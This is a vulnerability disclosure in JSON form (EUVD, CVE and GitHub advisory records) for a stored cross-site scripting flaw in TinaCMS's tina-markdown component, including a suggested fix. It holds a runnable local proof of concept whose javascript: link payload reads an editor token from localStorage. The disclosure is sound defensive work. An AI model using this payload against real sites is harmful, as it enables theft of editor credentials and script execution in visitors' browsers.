{
  "assigner": "ENISA",
  "date_reserved": "2026-10-09T21:44:28.624002+00:00",
  "id": "EUVD-2026-385235"
}

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "tinacms",
          "vendor": "tinacms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.14.0"
            }
          ]
        },
        {
          "product": "web-components",
          "vendor": "@tinacms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.2.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Tina is a headless content management system. Prior to 0.2.1, the tina-markdown element in packages/@tinacms/web-components/src/tina-markdown.js assigns a rich-text node.url value directly to an anchor href without validating the URL scheme. A content author can store a link using a script-capable scheme, and a visitor who clicks the rendered link executes attacker-controlled script in the site\u0027s origin. The script can access same-origin application data and, when the visitor is an editor or administrator, may expose credentials stored by the TinaCMS admin on that origin. This issue is fixed in version 0.2.1."
    }
  ],
  "id": "CVE-2026-108260",
  "lastModified": "2026-10-09T21:17:04.180",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.6,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-10-09T21:17:04.180",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/tinacms/tinacms/commit/5295e077f0d279c35686a0e481a15e33a4877e3b"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/tinacms/tinacms/pull/7523"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/web-components@0.2.1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-c42q-qvc3-j6vg"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        },
        {
          "lang": "en",
          "value": "CWE-83"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.2.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@tinacms/web-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-108260"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-83"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:56:45Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`\u003ctina-markdown\u003e` renders a rich-text AST into the DOM and, for `a` nodes, assigns the node\u0027s URL straight to the anchor\u0027s `href` with no scheme check. A link authored in the CMS as `javascript:\u2026` renders as a live `javascript:` anchor, so a visitor who clicks it executes attacker-supplied script in the site\u0027s origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not.\n\n### Details\n\nThe unvalidated sink:\n\n```\npackages/@tinacms/web-components/src/tina-markdown.js:67-69\n  if (node.type === \u0027html\u0027 || node.type === \u0027html_inline\u0027) {\n    return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });\n  }\npackages/@tinacms/web-components/src/tina-markdown.js:75    if (node.url \u0026\u0026 node.type === \u0027a\u0027) el.href = node.url;\npackages/@tinacms/web-components/src/tina-markdown.js:76    if (node.url \u0026\u0026 node.type === \u0027img\u0027) el.src = node.url;\n```\n\n`node.url` comes from the `content` attribute the site populates from the TinaCMS content API (`:169-176`), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at `:68` handles only raw-HTML node values and returns before the anchor branch, so it never inspects `node.url`. Line 75 is a direct property assignment \u2014 no HTML parser, no sanitizer. The `mode: \u0027open\u0027` shadow root (`:164-167`) provides no script isolation.\n\nThe guard that exists in every sibling renderer:\n\n```\npackages/@tinacms/mdx/src/sanitize-url.ts:10          allowedSchemes = [\u0027http\u0027,\u0027https\u0027,\u0027mailto\u0027,\u0027tel\u0027,\u0027xref\u0027]\npackages/tinacms/src/rich-text/index.tsx:335            \u003ca href={sanitizeUrl(child.url)}\u003e\npackages/tinacms/src/rich-text/index.tsx:322            \u003cimg src={sanitizeUrl(child.url)} .../\u003e\npackages/tinacms/src/rich-text/static.tsx:254           \u003ca href={sanitizeUrl(child.url)}\u003e\npackages/tinacms/src/rich-text/static.tsx:242           \u003cimg src={sanitizeUrl(child.url)} .../\u003e\npackages/@tinacms/astro/src/LinkNode.astro:19           \u003ca href={sanitizeHref(node.url)}\u003e\npackages/@tinacms/astro/src/ImageNode.astro:16          \u003cimg src={sanitizeImageSrc(node.url)} .../\u003e\n```\n\n`tina-markdown.js:75` is the only rich-text link sink in the repository that omits it \u2014 six of seven sanitize.\n\nThat this is an oversight rather than intent: the `0.2.0` changelog entry states the goal of \"matching the `components` prop on the React and Astro renderers\" while adding DOMPurify for `html` nodes, and `packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96` only asserts that an `https://example.com` link renders \u2014 no scheme case is covered either way.\n\nDefault-enabled: `customElements.define(\u0027tina-markdown\u0027, TinaMarkdown)` runs at module scope (`:179`); importing the published entry point is the whole setup, with no option object or sanitizer setting.\n\nSuggested fix \u2014 reuse the existing dependency-free subpath export rather than adding a third implementation:\n\n```js\nimport { sanitizeUrl } from \u0027@tinacms/mdx/sanitize-url\u0027;\nif (node.url \u0026\u0026 node.type === \u0027a\u0027) el.href = sanitizeUrl(node.url);\nif (node.url \u0026\u0026 node.type === \u0027img\u0027) el.src = sanitizeUrl(node.url);\n```\n\nVariant with the same root cause and the same fix: `:76` (`img.src`). A `javascript:` URL does not execute from `img.src`, so it is not scored here, but the line has no validation either \u2014 which is why `@tinacms/astro` carries a separate `sanitizeImageSrc`.\n\n### PoC\n\nSafe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads `tina-markdown.js` byte-for-byte from the checkout (bundled with its declared `dompurify` dependency) and also exposes the repository\u0027s own `sanitizeUrl` so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable.\n\nEnvironment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `playwright@1.49.0`.\n\n**Setup**\n\n```bash\ngit clone https://github.com/tinacms/tinacms.git tinacms-poc\ncd tinacms-poc \u0026\u0026 git checkout 0d38acfdd23143384b8787d5d772b713fa7af163\nREPO=$PWD\n\nmkdir -p /tmp/tina-tm/site \u0026\u0026 cd /tmp/tina-tm\nnpm init -y \u003e/dev/null\nnpm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0\n\ncp \"$REPO/packages/@tinacms/web-components/src/tina-markdown.js\" ./tina-markdown.js\ncp \"$REPO/packages/@tinacms/mdx/src/sanitize-url.ts\"             ./sanitize-url.ts\n```\n\n`entry.js`:\n\n```js\nimport \u0027./tina-markdown.js\u0027;                       // registers \u003ctina-markdown\u003e\nimport { sanitizeUrl } from \u0027./sanitize-url.ts\u0027;   // the canonical guard, for the control\nwindow.__sanitizeUrl = sanitizeUrl;\n```\n\n`site/index.html` \u2014 the AST is what `@tinacms/graphql` returns for the markdown source `[click me](javascript:\u2026)`:\n\n```html\n\u003c!doctype html\u003e\u003chtml\u003e\u003chead\u003e\u003ctitle\u003epublic site rendering CMS rich-text\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eSite page\u003c/h1\u003e\n\u003cdiv id=\"host\"\u003e\u003c/div\u003e\n\u003cscript type=\"module\" src=\"/bundle.js\"\u003e\u003c/script\u003e\n\u003cscript type=\"module\"\u003e\n  const ast = {\n    type: \u0027root\u0027,\n    children: [\n      { type: \u0027p\u0027, children: [\n        { type: \u0027a\u0027,\n          url: \"javascript:window.__pwned=document.domain+\u0027 | localStorage[tinacms-auth]=\u0027+localStorage.getItem(\u0027tinacms-auth\u0027);void 0\",\n          children: [{ type: \u0027text\u0027, text: \u0027click me\u0027 }] }\n      ]}\n    ]\n  };\n  // Stand-in for a signed-in editor\u0027s stored TinaCMS credential. The real key and\n  // value are written by packages/tinacms/src/internalClient/authProvider.ts:117.\n  localStorage.setItem(\u0027tinacms-auth\u0027, \u0027DEMO-EDITOR-TOKEN\u0027);\n  const el = document.createElement(\u0027tina-markdown\u0027);\n  el.setAttribute(\u0027content\u0027, JSON.stringify(ast));\n  document.getElementById(\u0027host\u0027).appendChild(el);\n  window.__ready = true;\n\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n`run.cjs`:\n\n```js\nconst http=require(\u0027http\u0027),fs=require(\u0027fs\u0027),path=require(\u0027path\u0027),{chromium}=require(\u0027playwright\u0027);\nconst PORT=8811, DIR=path.join(__dirname,\u0027site\u0027);\nconst srv=http.createServer((req,res)=\u003e{const p=req.url===\u0027/\u0027?\u0027/index.html\u0027:req.url.split(\u0027?\u0027)[0];\n const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end(\u0027nf\u0027);return;}\n res.writeHead(200,{\u0027content-type\u0027:p.endsWith(\u0027.js\u0027)?\u0027text/javascript\u0027:\u0027text/html; charset=utf-8\u0027});\n res.end(fs.readFileSync(f));});\n(async()=\u003e{await new Promise(r=\u003esrv.listen(PORT,\u0027127.0.0.1\u0027,r));\n const browser=await chromium.launch({executablePath:\u0027/usr/bin/google-chrome\u0027});\n const page=await browser.newPage();\n await page.goto(`http://127.0.0.1:${PORT}/`);\n await page.waitForFunction(()=\u003ewindow.__ready===true); await page.waitForTimeout(300);\n const rendered=await page.evaluate(()=\u003e{const a=document.querySelector(\u0027tina-markdown\u0027).shadowRoot.querySelector(\u0027a\u0027);\n   return {hrefAttr:a\u0026\u0026a.getAttribute(\u0027href\u0027)};});\n await page.evaluate(()=\u003edocument.querySelector(\u0027tina-markdown\u0027).shadowRoot.querySelector(\u0027a\u0027).click());\n await page.waitForTimeout(500);\n const pwned=await page.evaluate(()=\u003ewindow.__pwned||null);\n const control=await page.evaluate(()=\u003ewindow.__sanitizeUrl(\"javascript:window.__pwned = document.domain\"));\n console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null,\n   capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2));\n await browser.close(); srv.close();})();\n```\n\n**Run**\n\n```bash\ncd /tmp/tina-tm\nnpx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts\nnode run.cjs\n```\n\n**Observed output (captured verbatim)**\n\n```json\n{\n  \"renderedAnchorHref\": \"javascript:window.__pwned=document.domain+\u0027 | localStorage[tinacms-auth]=\u0027+localStorage.getItem(\u0027tinacms-auth\u0027);void 0\",\n  \"scriptExecutedOnClick\": true,\n  \"capturedByPayload\": \"127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN\",\n  \"control_sanitizeUrl_output\": \"\"\n}\n```\n\nExpected vulnerable output \u2014 `renderedAnchorHref` is the attacker-supplied `javascript:` string unchanged (no scheme validation at the sink), `scriptExecutedOnClick` is `true`, and `capturedByPayload` contains the page\u0027s own domain plus the value read out of `localStorage[\u0027tinacms-auth\u0027]` (script ran in the site origin with full read access to that origin\u0027s storage). All held.\n\nControl \u2014 `control_sanitizeUrl_output` is `\"\"`. The repository\u0027s own `sanitizeUrl`, invoked in the same browser realm on the same class of input, rejects the scheme. That is exactly what `packages/tinacms/src/rich-text/index.tsx:335` and `packages/@tinacms/astro/src/LinkNode.astro:19` do for the identical AST, which isolates the defect to the missing call rather than to the input or the harness.\n\nSecond control, internal to the same file: an `html` node carrying `\u003ca href=\"javascript:alert(1)\"\u003ex\u003c/a\u003e` is stripped by the DOMPurify call at `:68`, so the same payload delivered as raw HTML is blocked while the same payload delivered as a link node is not.\n\n**Cleanup**\n\n```bash\nrm -rf /tmp/tina-tm\n```\n\nThe PoC was re-run after this report was drafted; the JSON above is that run.\n\n### Impact\n\nStored cross-site scripting via an unvalidated URL scheme in a link attribute. A user whose only capability is editing content gains script execution in every visitor\u0027s browser session on the site\u0027s origin. Because TinaCMS\u0027s documented layout serves the admin from the same origin (`public/admin/`) and stores the editor token in `localStorage` under `tinacms-auth` (`packages/tinacms/src/auth/authenticate.ts:5`, written at `packages/tinacms/src/internalClient/authProvider.ts:117`), a clicking visitor who is themselves an editor or administrator exposes that credential \u2014 the PoC reads it.\n\nImpacted: any site rendering TinaCMS rich-text through `\u003ctina-markdown\u003e`. That component exists precisely for non-React sites, i.e. the deployments that do not get `tinacms`\u0027s sanitized React renderer.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R\u0026D)",
  "id": "GHSA-c42q-qvc3-j6vg",
  "modified": "2026-10-09T20:56:45Z",
  "published": "2026-10-09T20:56:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-c42q-qvc3-j6vg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/pull/7523"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/commit/5295e077f0d279c35686a0e481a15e33a4877e3b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinacms/tinacms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/web-components@0.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS"
}